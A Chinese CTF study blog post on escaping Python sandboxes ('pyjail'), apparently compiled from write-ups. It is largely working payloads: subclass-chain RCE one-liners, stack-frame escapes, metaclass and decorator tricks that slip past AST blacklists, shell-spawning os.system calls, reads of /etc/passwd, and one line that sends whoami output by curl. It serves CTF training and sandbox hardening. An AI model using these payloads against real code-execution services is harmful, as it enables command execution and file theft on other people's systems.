沙箱逃逸

浅浅记一下无处不在的沙箱逃逸

这个东西还是要搭配例题的嗯嗯

沙箱逃逸从入门到放弃

Pyjail

misc手也能学会必须学会的小技巧

先介绍一些不太常规的再介绍常规的吧(密码的现在沙箱哪里还有常规的。。。)

先看一些进行信息收集的函数,信息收集完成后才好确定逃逸方向

神必小帮手

dir()

dir()可以用于查看可用的内置函数

主要是用来找作为利用点的函数

__dict__

一键查属性

m.x等同于m.__dict__[“x”],我们就可以用一些编码来绕过字符明文检m.x等同于m.__dict__[“x”],我们就可以用一些编码来绕过字符明文检测

getattr()

看看你的属性呢,可以引入模块来执行命令,有种opcode的即视感(雾)

getattr(__import__('os'),"system")('whoami')

image-20250703102411030

__getattribute__

对象的内置方法,用于在访问对象的任意对象时自动调用

这是一个低级别的钩子,用于拦截属性访问,可以对其进行重载自定义属性访问行为

在调用时,一般都是__getattibute__先被调用,当抛出AttributeError 异常时,__getattr__ 才会被调用。
另外,所有的类都会有__getattribute__属性,而不一定有__getattr__属性

__getitem__

__getitem__方法适用于获取元素

当使用obj[key]这样的操作时,python就会自动调用它

这里的key可以是整数索引也可以是其他能当"标签"的键

而你可以用get方法来获得键的值

"破壁"函数

eval(input())
help()
breakpoint()
sh

妙手回春(self builtins)

有时沙箱中会用exec限制你的命名空间

因为exec的第二个参数是可以自定义的,通过修改,删除命名空间里的函数就达到了限制你操作的效果,例子来源于 iscc_2016_pycalc

def _hook_import_(name, *args, **kwargs):
    module_blacklist = ['os', 'sys', 'time', 'bdb', 'bsddb', 'cgi',
                        'CGIHTTPServer', 'cgitb', 'compileall', 'ctypes', 'dircache',
                        'doctest', 'dumbdbm', 'filecmp', 'fileinput', 'ftplib', 'gzip',
                        'getopt', 'getpass', 'gettext', 'httplib', 'importlib', 'imputil',
                        'linecache', 'macpath', 'mailbox', 'mailcap', 'mhlib', 'mimetools',
                        'mimetypes', 'modulefinder', 'multiprocessing', 'netrc', 'new',
                        'optparse', 'pdb', 'pipes', 'pkgutil', 'platform', 'popen2', 'poplib',
                        'posix', 'posixfile', 'profile', 'pstats', 'pty', 'py_compile',
                        'pyclbr', 'pydoc', 'rexec', 'runpy', 'shlex', 'shutil', 'SimpleHTTPServer',
                        'SimpleXMLRPCServer', 'site', 'smtpd', 'socket', 'SocketServer',
                        'subprocess', 'sysconfig', 'tabnanny', 'tarfile', 'telnetlib',
                        'tempfile', 'Tix', 'trace', 'turtle', 'urllib', 'urllib2',
                        'user', 'uu', 'webbrowser', 'whichdb', 'zipfile', 'zipimport']
    for forbid in module_blacklist:
        if name == forbid:        # don't let user import these modules
            raise RuntimeError('No you can\' import {0}!!!'.format(forbid))
    # normal modules can be imported
    return __import__(name, *args, **kwargs)

def sandbox_exec(command):      # sandbox user input
    result = 0
    __sandboxed_builtins__ = dict(__builtins__.__dict__)
    __sandboxed_builtins__['__import__'] = _hook_import_    # hook import
    del __sandboxed_builtins__['open']
    _global = {
        '__builtins__': __sandboxed_builtins__
    }

    ...
        exec command in _global     # do calculate in a sandboxed  
    ...
  1. 沙箱首先获取 __builtins__,然后依据现有的 __builtins__ 来构建命名空间。
  2. 修改 __import__ 函数为自定义的_hook_import_
  3. 删除 open 函数防止文件操作
  4. exec 命令。

绕过方式:

由于 exec 运行在特定的命名空间里,可以通过获取其他命名空间里的 __builtins__(这个__builtins__保存的就是原始__builtins__的引用),比如 types 库,来执行任意命令:

__import__('types').__builtins__
__import__('string').__builtins__

继承链(no builtins)

什么?builtins被清光了?没事我有继承链

poc原理和SSTI相似,就是利用父类和子类之间的继承关系,不断访问内部属性来达到调用,实现文件读取或者RCE的效果

前提是没有把attribute给你禁掉,禁掉之后这种方法就行不通了

没禁掉的情况基本无敌吧大概

RCE

# os
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("ls")

# subprocess 
[ x for x in ''.__class__.__base__.__subclasses__() if x.__name__ == 'Popen'][0]('ls')

# builtins
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_GeneratorContextManagerBase" and "os" in x.__init__.__globals__ ][0]["__builtins__"]

# help
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_GeneratorContextManagerBase" and "os" in x.__init__.__globals__ ][0]["__builtins__"]['help']

[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]['__builtins__']

#sys
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")

[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"].system("ls")

#commands (not very common)
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "commands" in x.__init__.__globals__ ][0]["commands"].getoutput("ls")

#pty (not very common)
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pty" in x.__init__.__globals__ ][0]["pty"].spawn("ls")

#importlib
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].__import__("os").system("ls")

#imp
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].__import__("os").system("ls")

#pdb
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")

# ctypes
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__('ctypes').CDLL(None).system('ls /'.encode())

# multiprocessing
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__('multiprocessing').Process(target=lambda: __import__('os').system('curl localhost:9999/?a=`whoami`')).start()

File

[ x for x in ''.__class__.__base__.__subclasses__() if x.__name__=="FileLoader" ][0].get_data(0,"/etc/passwd")

栈帧逃逸

先了解一些概念吧。

栈帧

生成器

生成器(Generator)是 Python 中一种特殊的迭代器,它可以通过简单的函数和表达式来创建。生成器的主要特点是能够逐个产生值,并且在每次生成值后保留当前的状态,以便下次调用时可以继续生成值。这使得生成器非常适合处理大型数据集或需要延迟计算的情况。

在 Python 中,生成器可以使用 yield 关键字来定义。yield 用于产生一个值,并在保留当前状态的同时暂停函数的执行。当下一次调用生成器时,函数会从上次暂停的位置继续执行,直到遇到下一个 yield 语句或者函数结束。

def f():
    a=1
    while True:
        yield a
        a+=1
f=f()
print(next(f)) #1
print(next(f)) #2
print(next(f)) #3
next() 函数在Python中用于获取迭代器的下一个元素

#生成器表达式:
 gen_exp = (x * x for x in range(5))

 for num in gen_exp:
     print(num)
#类似于列表推导式,但使用小括号 () 而不是方括号 [] 来创建生成器表达式

生成器属性

gi_code: 生成器对应的code对象。
gi_frame: 生成器对应的frame(栈帧)对象。
gi_running: 生成器函数是否在执行。生成器函数在yield以后、执行yield的下一行代码前处于frozen状态,此时这个属性的值为0。
gi_yieldfrom:如果生成器正在从另一个生成器中 yield 值,则为该生成器对象的引用;否则为 None。
gi_frame.f_locals:一个字典,包含生成器当前帧的本地变量。

着重介绍一下 gi_frame 属性
gi_frame 是一个与生成器(generator)和协程(coroutine)相关的属性。它指向生成器或协程当前执行的帧对象(frame object),如果这个生成器或协程正在执行的话。帧对象表示代码执行的当前上下文,包含了局部变量、执行的字节码指令等信息。

下面是一个简单的示例,演示了如何使用生成器的 gi_frame 属性来获取生成器的当前帧信息:

def my_generator():
    yield 1
    yield 2
    yield 3

gen = my_generator()

# 获取生成器的当前帧信息
frame = gen.gi_frame

# 输出生成器的当前帧信息
print("Local Variables:", frame.f_locals)
print("Global Variables:", frame.f_globals)
print("Code Object:", frame.f_code)
print("Instruction Pointer:", frame.f_lasti)

栈帧(frame)

在 Python 中,栈帧(stack frame),也称为帧(frame),是用于执行代码的数据结构。每当 Python 解释器执行一个函数或方法时,都会创建一个新的栈帧,用于存储该函数或方法的局部变量、参数、返回地址以及其他执行相关的信息。这些栈帧会按照调用顺序被组织成一个栈,称为调用栈。

栈帧包含了以下几个重要的属性:
f_locals: 一个字典,包含了函数或方法的局部变量。键是变量名,值是变量的值。
f_globals: 一个字典,包含了函数或方法所在模块的全局变量。键是全局变量名,值是变量的值。
f_code: 一个代码对象(code object),包含了函数或方法的字节码指令、常量、变量名等信息。
f_lasti: 整数,表示最后执行的字节码指令的索引。
f_back: 指向上一级调用栈帧的引用,用于构建调用栈

生成器栈帧逃逸

原理其实就是生成器的栈帧对象通过f_back不断返回前一帧从而去获取globals全局符号表

s3cret="this is flag"
def f():
        yield g.gi_frame.f_back.f_back.f_back

g = f().gi_frame  #生成器
print("Local Variables:", g.f_globals)

在这里其实就可以看到成功逃出

image-20250506102803052

而查看locals时就会发现是空列表

image-20250506102848722

模拟一下沙箱的操作

codes='''
def waff():
    def f():
        yield g.gi_frame.f_back

    g = f()  #生成器
    frame = next(g) #获取到生成器的栈帧对象
    b = frame.f_back.f_back.f_globals['s3cret'] #返回并获取前一级栈帧的globals
    return b
b=waff()
'''
locals={}
code = compile(codes, "test", "exec")
exec(code,locals)
print(locals["b"])
#使用next获取到的就是yield定义的值,这里获取到的就是g.gi_frame.f_back
#使用g.gi_frame.f_back的话,那么g = f()就必须为g,用的就是这个生成器对象的栈帧
#compile(codes, "test", "exec")就是设置了名称为test的python沙箱环境

运行得到 this is flag ,成功逃逸出沙箱获取到s3cret变量值

这里也可以使用f_locals去代替f_globals效果是相同的,但是要注意,locals返回的是局部符号表,它包含了在当前函数或方法内部定义的变量。这些局部变量只在当前函数或方法的执行过程中存在,并且只能在该函数或方法内部访问。当函数执行完毕后,这些局部变量就会被销毁。

怎么用呢,可以用来配合修改函数;也可以拿_globals反打rce

2024L3HCTF 打int函数返回值 参考链接:https://xz.aliyun.com/news/13075

异常栈帧逃逸

通过主动抛出异常+抓抛出错误的栈帧来逃逸沙箱

给一串简单的实例:

try:
    1/0
except Exception as e:
    frame=e.__traceback__.tb_frame
    builtins=frame.f_globals['__builtins__']
    builtins.__import__('os').system('whoami')

image-20250603194452776

可以看到成功执行了。

异步栈帧逃逸

async def a():
    pass
a().cr_frame.f_globals

变量覆盖与函数篡改

优雅啊,很优雅啊。。

这里简单一些的就是给出blacklist但是是可控的,可以直接改变量然后直接执行命令就可以了

在 Python 中,sys 模块提供了许多与 Python 解释器和其环境交互的功能,包括对全局变量和函数的操作。在沙箱中获取 sys 模块就可以达到变量覆盖与函数擦篡改的目的.

sys.modules 存放了现有模块的引用, 通过访问 sys.modules['__main__'] 就可以访问当当前模块定义的所有函数以及全局变量

>>> aaa = 'bbb'
>>> def my_input():
...     dict_global = dict()
...     while True:
...       try:
...           input_data = input("> ")
...       except EOFError:
...           print()
...           break
...       except KeyboardInterrupt:
...           print('bye~~')
...           continue
...       if input_data == '':
...           continue
...       try:
...           complie_code = compile(input_data, '<string>', 'single')
...       except SyntaxError as err:
...           print(err)
...           continue
...       try:
...           exec(complie_code, dict_global)
...       except Exception as err:
...           print(err)
... 
>>> import sys
>>> sys.modules['__main__']
<module '__main__' (built-in)>
>>> dir(sys.modules['__main__'])
['__annotations__', '__builtins__', '__doc__', '__loader__', '__name__', '__package__', '__spec__', 'aaa', 'my_input', 'sys']
>>> sys.modules['__main__'].aaa
'bbb'

除了通过 sys 模块来获取当前模块的变量以及函数外,还可以通过 __builtins__篡改内置函数等,这只是一个思路.

总体来说,只要获取了某个函数或者变量就可以篡改, 难点就在于获取.

利用 gc 获取已删除模块

这个思路来源于 writeup by fab1ano – github

这道题的目标是覆盖 __main__ 中的 __exit 函数,但是题目将 sys.modules['__main__'] 删除了,无法直接获取.

for module in set(sys.modules.keys()):
    if module in sys.modules:
        del sys.modules[module]

gc 是Python的内置模块,全名为”garbage collector”,中文译为”垃圾回收”。gc 模块主要的功能是提供一个接口供开发者直接与 Python 的垃圾回收机制进行交互。

Python 使用了引用计数作为其主要的内存管理机制,同时也引入了循环垃圾回收器来检测并收集循环引用的对象。gc 模块提供了一些函数,让你可以直接控制这个循环垃圾回收器。

下面是一些 gc 模块中的主要函数:

  1. gc.collect(generation=2):这个函数会立即触发一次垃圾回收。你可以通过 generation 参数指定要收集的代数。Python 的垃圾回收器是分代的,新创建的对象在第一代,经历过一次垃圾回收后仍然存活的对象会被移到下一代。
  2. gc.get_objects():这个函数会返回当前被管理的所有对象的列表。
  3. gc.get_referrers(*objs):这个函数会返回指向 objs 中任何一个对象的对象列表。

exp 如下

for obj in gc.get_objects():
    if '__name__' in dir(obj):
        if '__main__' in obj.__name__:
            print('Found module __main__')
            mod_main = obj
        if 'os' == obj.__name__:
            print('Found module os')
            mod_os = obj
mod_main.__exit = lambda x : print("[+] bypass")

在 3.11 版本和 python 3.8.10 版本中测试发现会触发 gc.get_objects hook 导致无法成功.

利用 traceback 获取模块

这个思路来源于 writeup by hstocks – github

主动抛出异常, 并获取其后要执行的代码, 然后将__exit 进行替换, 思路也是十分巧妙.

try:
    raise Exception()
except Exception as e:
    _, _, tb = sys.exc_info()
    nxt_frame = tb.tb_frame

    # Walk up stack frames until we find one which
    # has a reference to the audit function
    while nxt_frame:
        if 'audit' in nxt_frame.f_globals:
            break
        nxt_frame = nxt_frame.f_back

    # Neuter the __exit function
    nxt_frame.f_globals['__exit'] = print

    # Now we're free to call whatever we want
    os.system('cat /flag*')

但是实际测试时使用 python 3.11 发现 nxt_frame = tb.tb_frame 会触发 object.__getattr__ hook. 不同的版本中触发 hook 的地方会有差异,这个 payload 可能仅在 python 3.9 (题目版本)中适用

模块重载(原module被篡改)

为什么要重载呢?因为目标模块/方法在一开始就被删除/覆盖了,但是通过一些手段,就可以重新加载这些模块

>>> __builtins__.__dict__['eval']
<built-in function eval>
>>> del __builtins__.__dict__['eval']
>>> __builtins__.__dict__['eval']
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
KeyError: 'eval'

reload 重新加载

reload函数在不同版本中的位置不同

Python 2.x
>>>reload(module)

Python 2.x-3.3
>>>import imp
>>>impo.reload(module)

Python 3.4-latest
>>>import importlib
>>>importlib.reload(module)

reload 函数可以重新加载模块,这样被删除的函数能被重新加载

>>> __builtins__.__dict__['eval']
<built-in function eval>
>>> del __builtins__.__dict__['eval']
>>> __builtins__.__dict__['eval']
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
KeyError: 'eval'
>>> reload(__builtins__)
<module '__builtin__' (built-in)>
>>> __builtins__.__dict__['eval']
<built-in function eval>

在 Python 3 中,reload() 函数被移动到 importlib 模块中,所以如果要使用 reload() 函数,需要先导入 importlib 模块。

貌似新版本的 python 即使运行了 importlib.reload 也无法恢复了。

>>> importlib.reload(__builtins__)
<module 'builtins' (built-in)>
>>> __builtins__.__dict__['eval']
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
KeyError: 'eval'

恢复 sys.modules

一些过滤中可能将 sys.modules['os'] 进行修改. 这个时候即使将 os 模块导入进来,也是无法使用的.

>>> sys.modules['os'] = 'not allowed'
>>> __import__('os').system('ls')
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
AttributeError: 'str' object has no attribute 'system'

由于很多别的命令执行库也使用到了 os,因此也会受到相应的影响,例如 subprocess

>>> __import__('subprocess').Popen('whoami', shell=True)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/home/kali/.pyenv/versions/3.8.10/lib/python3.8/subprocess.py", line 688, in <module>
    class Popen(object):
  File "/home/kali/.pyenv/versions/3.8.10/lib/python3.8/subprocess.py", line 1708, in Popen
    def _handle_exitstatus(self, sts, _WIFSIGNALED=os.WIFSIGNALED,
AttributeError: 'str' object has no attribute 'WIFSIGNALED'

由于 import 导入模块时会检查 sys.modules 中是否已经有这个类,如果有则不加载,没有则加载.因此我们只需要将 os 模块删除,然后再次导入即可.

sys.modules['os'] = 'not allowed' # oj 为你加的

del sys.modules['os']
import os
os.system('ls')

globals()

有些时候沙箱会设置

def blacklist_fun_callback(*args):
    print("Player! It's already banned!")

vars = blacklist_fun_callback
attr = blacklist_fun_callback
dir = blacklist_fun_callback
getattr = blacklist_fun_callback
exec = blacklist_fun_callback
__import__ = blacklist_fun_callback
compile = blacklist_fun_callback

来覆盖内置函数,限制函数的使用。

但是builtins是一个不可变的模块对象,这样修改仅能够在当前的作用域中生效,而 globals() 中存放了 builtins 模块的索引,因此可以通过下面的方式获取到原始的方法。

globals()["__builtins__"]['breakpoint']

但是题目如果使用了下面的方式来删除,那就没有办法了,即使 reload 重新导入 builtins 模块,较新版本的 python 中也无法恢复。

del globals()["__builtins__"].breakpoint

AST

AST 沙箱会将用户的输入转化为操作码,此时字符串层面的变换基本上没用了,一般情况下考虑绕过 AST 黑名单. 例如下面的沙箱禁止了 ast.Import|ast.ImportFrom|ast.Call 这三类操作, 这样一来就无法导入模块和执行函数.

import ast
import sys
import os

def verify_secure(m):
  for x in ast.walk(m):
    match type(x):
      case (ast.Import|ast.ImportFrom|ast.Call):
        print(f"ERROR: Banned statement {x}")
        return False
  return True

abspath = os.path.abspath(__file__)
dname = os.path.dirname(abspath)
os.chdir(dname)

print("-- Please enter code (last line must contain only --END)")
source_code = ""
while True:
  line = sys.stdin.readline()
  if line.startswith("--END"):
    break
  source_code += line

tree = compile(source_code, "input.py", 'exec', flags=ast.PyCF_ONLY_AST)
if verify_secure(tree):  # Safe to execute!
  print("-- Executing safe code:")
  compiled = compile(source_code, "input.py", 'exec')
  exec(compiled)

下面的 without call 来源于 hacktricks

without call

如果基于 AST 的沙箱限制了执行函数,那么就需要找到一种不需要执行函数的方式执行系统命令.

装饰器

利用 payload 如下,乍一看可能有些迷惑,但该 payload 实际上等效于 exec(input(X))

@exec
@input
class X:
    pass

当我们输入上述的代码后, Python 会打开输入,此时我们再输入 payload 就可以成功执行命令.

>>> @exec
... @input
... class X:
...     pass
... 
<class '__main__.X'>__import__("os").system("ls")

由于装饰器不会被解析为调用表达式或语句, 因此可以绕过黑名单, 最终传入的 payload 是由 input 接收的, 因此也不会被拦截.

其实这样的话,构造其实可以有很多,比如使用单层的装饰器,打开 help 函数.

@help
class X:
    pass

这样可以直接进入帮助文档:

Help on class X in module __main__:

class X(builtins.object)
 |  Data descriptors defined here:
 |  
 |  __dict__
 |      dictionary for instance variables (if defined)
 |  
 |  __weakref__
 |      list of weak references to the object (if defined)
(END)

再次输入 !sh 即可打开 /bin/sh

或是给装饰器加一些参数。

import os

def fake_wrapper(f):
  return '/bin/sh'

@getattr(os,"system")
@fake_wrapper
def something():
  pass

相当于:

getattr(os,"system")(fake_wrapper(something))

亦或者自定义一个装饰器:

import os

def fake_wrapper(f):
  return '/bin/sh'

@os.system
@fake_wrapper
def something():
  pass

相当于 os.system(fake_wrapper(something)),也就是 os.system(‘/bin/sh’)

函数覆盖

我们知道在 Python 中获取一个的属性例如 obj[argument] 实际上是调用的 obj.__getitem__ 方法.因此只需要覆盖其 __getitem__ 方法, 即可在使用 obj[argument] 执行代码:

>>> class A:
...     __getitem__ = exec
... 
>>> A()['__import__("os").system("ls")']

但是这里调用了 A 的构造函数, 因此 AST 中还是会出现 ast.Call. 如何在不执行构造函数的情况下获取类实例呢?

metaclass 利用

Python 中提供了一种元类(metaclass)概念。元类是创建类的“类”。在 Python中,类本身也是对象,元类就是创建这些类(即类的对象)的类。

元类在 Python 中的作用主要是用来创建类。类是对象的模板,而元类则是类的模板。元类定义了类的行为和属性,就像类定义了对象的行为和属性一样。

下面是基于元类的 payload, 在不使用构造函数的情况下触发

class Metaclass(type):
    __getitem__ = exec 
    
class Sub(metaclass=Metaclass):
    pass

Sub['import os; os.system("sh")']

除了 __getitem__ 之外其他方法的利用方式如下:

__sub__ (k - 'import os; os.system("sh")')
__mul__ (k * 'import os; os.system("sh")')
__floordiv__ (k // 'import os; os.system("sh")')
__truediv__ (k / 'import os; os.system("sh")')
__mod__ (k % 'import os; os.system("sh")')
__pow__ (k**'import os; os.system("sh")')
__lt__ (k < 'import os; os.system("sh")')
__le__ (k <= 'import os; os.system("sh")')
__eq__ (k == 'import os; os.system("sh")')
__ne__ (k != 'import os; os.system("sh")')
__ge__ (k >= 'import os; os.system("sh")')
__gt__ (k > 'import os; os.system("sh")')
__iadd__ (k += 'import os; os.system("sh")')
__isub__ (k -= 'import os; os.system("sh")')
__imul__ (k *= 'import os; os.system("sh")')
__ifloordiv__ (k //= 'import os; os.system("sh")')
__idiv__ (k /= 'import os; os.system("sh")')
__itruediv__ (k /= 'import os; os.system("sh")') (Note that this only works when from __future__ import division is in effect.)
__imod__ (k %= 'import os; os.system("sh")')
__ipow__ (k **= 'import os; os.system("sh")')
__ilshift__ (k<<= 'import os; os.system("sh")')
__irshift__ (k >>= 'import os; os.system("sh")')
__iand__ (k = 'import os; os.system("sh")')
__ior__ (k |= 'import os; os.system("sh")')
__ixor__ (k ^= 'import os; os.system("sh")')

示例:

class Metaclass(type):
    __sub__ = exec
    
class Sub(metaclass=Metaclass):
    pass

Sub-'import os; os.system("sh")'

exceptions 利用

利用 exceptions 的目的也是为了绕过显示地实例化一个类, 如果一个类继承了 Exception 类, 那么就可以通过 raise 关键字来实例化. payload 如下:

class RCE(Exception):
    def __init__(self):
        self += 'import os; os.system("sh")'
    __iadd__ = exec 
    
raise RCE

raise 会进入 RCE 的 __init__, 然后触发 __iadd__ 也就是 exec.

当然, 触发异常不一定需要 raise, 主动地编写错误代码也可以触发,与是就有了如下的几种 payload.

class X:
    def __init__(self, a, b, c):
        self += "os.system('sh')"
    __iadd__ = exec
sys.excepthook = X
1/0

这个 payload 中直接将 sys.excepthook 进行覆盖,任何异常产生时都会触发.

class X():
  def __init__(self, a, b, c, d, e):
    self += "print(open('flag').read())"
  __iadd__ = eval
__builtins__.__import__ = X
{}[1337]

这个 payload 将 __import__ 函数进行覆盖, 最后的 {}[1337] 在正常情况下会引发 KeyError 异常,因为 Python 在引发异常时会尝试导入某些模块(比如traceback 模块),导入时就会触发 __import__.

通过 license 函数读取文件
__builtins__.__dict__["license"]._Printer__filenames=["/etc/passwd"]
a = __builtins__.help
a.__class__.__enter__ = __builtins__.__dict__["license"]
a.__class__.__exit__ = lambda self, *args: None
with (a as b):
    pass

上面的 payload 修改内建函数 license 的文件名列表为 /etc/passwd 当调用 license() 时会打印这个文件的内容.

>>> __builtins__.__dict__["license"]._Printer__filenames
['/usr/lib/python3.11/../LICENSE.txt', '/usr/lib/python3.11/../LICENSE', '/usr/lib/python3.11/LICENSE.txt', '/usr/lib/python3.11/LICENSE', './LICENSE.txt', './LICENSE']

payload 中将 help 类的 __enter__ 方法覆盖为 license 方法, 而 with 语句在创建上下文时会调用 help 的__enter__, 从而执行 license 方法. 这里的 help 类只是一个载体, 替换为其他的支持上下文的类或者自定义一个类也是可以的. 例如:

class MyContext:
    pass
    
__builtins__.__dict__["license"]._Printer__filenames=["/etc/passwd"]
a = MyContext()
a.__class__.__enter__ = __builtins__.__dict__["license"]
a.__class__.__exit__ = lambda self, *args: None
with (a as b):
    pass

打印 AST

import os
import ast 

BAD_ATS = {
  ast.Attribute,
  ast.AST,
  ast.Subscript,
  ast.comprehension,
  ast.Delete,
  ast.Try,
  ast.For,
  ast.ExceptHandler,
  ast.With,
  ast.Import,
  ast.ImportFrom,
  ast.Assign,
  ast.AnnAssign,
  ast.Constant,
  ast.ClassDef,
  ast.AsyncFunctionDef,
}

a = '''
[
    system:=111,
    bash:=222
]
'''
print(ast.dump(ast.parse(a, mode='exec'), indent=4))


for x in ast.walk(compile(a, "<QWB7th>", "exec", flags=ast.PyCF_ONLY_AST)):
  if type(x) in BAD_ATS:
    print(type(x))
    exit()

print("[+] OK")

绕过 ast.Attribute 获取属性

如何绕过 ast.Attribute?python 3.10 中引入了一个新的特性:match/case,类似其他语言中的 switch/case,但 match/case 更加强大,除了可以匹配数字字符串之外,还可以匹配字典、对象等。

最简单的示例,匹配字符串:

item = 2

match item:
    case 1:
        print("One")
    case 2:
        print("Two")

# Two

还可以匹配并自动赋值给局部变量,传入 (1,2) 时,会进入第二个分支,并对 x,y 赋值。

item = (1, 2)

match item:
    case (x, y, z):
        print(f"{x} {y} {z}")
    case (x, y):
        print(f"{x} {y}")
    case (x,):
        print(f"{x}")

对于基本类型的匹配比较好理解,下面是一个匹配类的示例:

class AClass:
    def __init__(self, value):
        self.thing = value

item = AClass(32)

match item:
    case AClass(thing=x):
        print(f"Got {x = }!")

# Got x = 32!

在这个示例中,重点关注case AClass(thing=x),这里的含义并非是将 x 赋值给 thing,我们需要将其理解为一个表达式,表示匹配类型为 AClass 且存在 thing 属性的对象,并且 thing 属性值自动赋值给 x。

这样一来就可以在不适用 . 号的情况下获取到类的属性值。例如获取 ''.__class__,可以编写如下的 match/case 语句:

match str():
    case str(__class__=x):
        print(x==''.__class__)

# True

可以看到 x 就是 ''.__class__. 因为所有的类都输入 object 类,所以可以使用 object 来替代 str,这样就无需关注匹配到的到底是哪个类。

match str():
    case object(__class__=x):
        print(x==''.__class__)

# True

再测试一下该 payload 的 AST:

import os
import ast 

a = '''
match str():
    case str(__class__=x):
        print(x)
'''
print(ast.dump(ast.parse(a, mode='exec'), indent=4))

AST 如下:

Module(
    body=[
        Match(
            subject=Call(
                func=Name(id='str', ctx=Load()),
                args=[],
                keywords=[]),
            cases=[
                match_case(
                    pattern=MatchClass(
                        cls=Name(id='str', ctx=Load()),
                        patterns=[],
                        kwd_attrs=[
                            '__class__'],
                        kwd_patterns=[
                            MatchAs(name='x')]),
                    body=[
                        Expr(
                            value=Call(
                                func=Name(id='print', ctx=Load()),
                                args=[
                                    Name(id='x', ctx=Load())],
                                keywords=[]))])])],
    type_ignores=[])

可以看到确实没有 Attribute,依据这个原理,就可以绕过 ast.Attribute

我们可以构造替代 ''.__class__.__base__.__subclasses__()的 payload:

match str():
    case object(__class__=clazz):
        match clazz:
            case object(__base__=bass):
                match bass:
                    case object(__subclasses__=subclazz):
                        print(subclazz)

绕过 ast.Assign 赋值变量

ast.Assign 无法使用时,我们无法直接使用 = 来进行赋值,此时可以使用海象表达式进行绕过。例如:

[
    system:=111,
    bash:=222
]

此时 AST 树如下,海象表达式用到的是 ast.NamedExpr 而非 ast.Assign

Module(
    body=[
        Expr(
            value=List(
                elts=[
                    NamedExpr(
                        target=Name(id='system', ctx=Store()),
                        value=Constant(value=111)),
                    NamedExpr(
                        target=Name(id='bash', ctx=Store()),
                        value=Constant(value=222))],
                ctx=Load()))],
    type_ignores=[])

绕过 ast.Constant 获取数字、字符串

题目限制了 ast.Constant,所以无法直接使用数字、字符串常量,但通过其他的函数组合可以构造出数字和字符串。 例如:

"" : str()
0  : len([])
"0": str(len([]))
"1": str(len([str()])) 或 str(len([min]))
"2": str(len([str(),str()])) 或 str(len([min,max]))
'A': chr(len([min,min,min,min,min])*len([min,min,min,min,min,min,min,min,min,min,min,min,min]))

如果要用数字来构造字符串,通常需要用到 chr 函数,虽然题目的 builtins 没有直接提供 chr 函数,但也可以自己手动实现一个 chr。

当然,题目 builtins 允许 dict 和 list,因此可以直接用这两个函数直接构造出字符串,这种方式在我此前的博客:pyjail bypass-02 绕过基于字符串匹配的过滤 中有提到过。

在这个 payload 中,需要构造出 _wrap_close、system、bash

[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("bash")

那么就可以通过下面的方式获取到这几个字符串:

list(dict(system=[]))[0]            # system
list(dict(_wrap_close=[]))[0]       # _wrap_close
list(dict(bash=[]))[0]              # bash

绕过 ast.Subscript 获取列表/字典元素

题目同时限定了 ast.Subscript,因此无法直接使用索引。但 BUILTINS 中给出了 min 函数,该函数可以获取列表中最小的元素,当列表中只有一个元素时,就可以直接取值。

min(list(dict(system=[])))            # system
min(list(dict(_wrap_close=[])))       # _wrap_close
min(list(dict(bash=[])))              # bash

如果要获取字典元素,可以利用 get 函数来替代 Subscript。例如我需要在 globals 字典中获取 key 为 system 的元素,可以配合 match/case 来获取。

match globals:
    case object(get=get_func):
        get_func("system")

绕过 ast.For 遍历列表

在构造最终 payload 中,我们还需要在 __subclasses__()得到的列表中获取到 _wrap_close 类。

[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("bash")

当列表中不只有一个元素且列表中的元素之间无法比较时,正常情况下可以使用 for 来遍历并判断,但 ast.For 被题目过滤了,此时可以使用 filter,如下所示:

def filter_func(subclazzes_item):
    [ _wrap_close:=min(list(dict(_wrap_close=[])))]
    match subclazzes_item:
        case object(__name__=name):
            if name==_wrap_close:
                return subclazzes_item
[
    subclazzes_item:=min(filter(filter_func,subclazzes()))
]

fitler 中使用 match/case 和 if 来进行过滤。

除了使用 filter 函数外,还可以使用 iternext 函数来遍历列表,但题目 BUILTINS 中没有给出这两个函数。

绕过ast.GeneratorExp获取生成器栈帧

思路来自于 [DiceCTF 2024] IRS

payload 如下,且 AST 中不会出现 ast.GeneratorExp

def f():
    global x, frame
    frame = x.gi_frame.f_back.f_back
    yield
x = f()
x.send(None)
print(frame)

如何理解这段代码:

